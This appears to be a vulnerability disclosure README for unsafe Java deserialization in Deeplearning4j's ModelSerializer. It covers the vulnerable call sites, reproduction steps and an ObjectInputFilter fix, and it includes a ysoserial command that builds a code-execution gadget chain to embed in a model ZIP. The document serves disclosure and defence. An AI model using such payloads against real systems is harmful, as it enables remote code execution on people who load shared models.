Talson/mfv-dl4j-deser-rce

DL4J ModelSerializer Unsafe Deserialization — CWE-502

Vulnerability

Eclipse Deeplearning4j's ModelSerializer uses unfiltered ObjectInputStream.readObject() on preprocessor.bin entries from model ZIP archives. The deserialization is automatic — if a preprocessor.bin entry exists in the ZIP, it is deserialized unconditionally with zero security controls.

4 vulnerable call sites in ModelSerializer.java, all with identical pattern:

ObjectInputStream ois = new ObjectInputStream(stream);
preProcessor = (DataSetPreProcessor) ois.readObject();  // NO ObjectInputFilter

The type cast to DataSetPreProcessor occurs after readObject() completes. Java deserialization gadget chains execute during readObject(), before any cast — making the cast purely cosmetic from a security perspective.

Affected Code

Repository: deeplearning4j/deeplearning4j (14.2k stars, actively maintained)

File: deeplearning4j/deeplearning4j-nn/src/main/java/org/deeplearning4j/util/ModelSerializer.java

#	Method	ZIP Entry	Trigger
1	restoreMultiLayerNetworkHelper()	preprocessor.bin	Entry exists in ZIP
2	restoreComputationGraphHelper()	preprocessor.bin	Entry exists in ZIP
3	getObjectFromFile()	objects/<key>	Caller requests key
4	restoreNormalizerFromInputStreamDeprecated()	normalizer data	Fallback path

Impact

An attacker creates a malicious DL4J model file (ZIP) containing a preprocessor.bin with a serialized Java gadget chain. When a victim loads this model via any restoreMultiLayerNetwork() or restoreComputationGraph() call, arbitrary code execution occurs during deserialization.

DL4J's transitive dependencies include Guava (shaded in nd4j-shade), commons-io, and other libraries that provide usable gadget chains.

Reproduction

Generate the malicious model

python3 create_poc.py
# Creates malicious_dl4j_model.zip with crafted preprocessor.bin

Load the model (triggers vulnerability)

# Using Maven project with DL4J dependency
mvn compile exec:java -Dexec.mainClass="LoadModel" -Dexec.args="malicious_dl4j_model.zip"

Expected output

Loading model from: malicious_dl4j_model.zip
Exception: java.lang.ClassCastException: java.util.HashMap cannot be cast to DataSetPreProcessor

The ClassCastException proves readObject() was called on attacker-controlled data. The HashMap was fully instantiated before the cast failed.

For full RCE

Replace the HashMap payload with a ysoserial gadget chain:

java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > preprocessor.bin
# Repackage into model ZIP

Missing Mitigation

Java provides ObjectInputFilter (since Java 9, backported to 8u121) specifically for this purpose. DL4J uses none of:

• ObjectInputFilter (per-stream filter)
• ObjectInputFilter.Config.setSerialFilter() (global filter)
• Apache Commons IO ValidatingObjectInputStream
• Class allowlisting of any kind

The fix is to add an ObjectInputFilter restricting deserialized classes to DataSetPreProcessor implementations.

Files

• malicious_dl4j_model.zip — Crafted DL4J model with malicious preprocessor.bin
• create_poc.py — Python script to generate the malicious model
• LoadModel.java — Java harness to trigger the vulnerability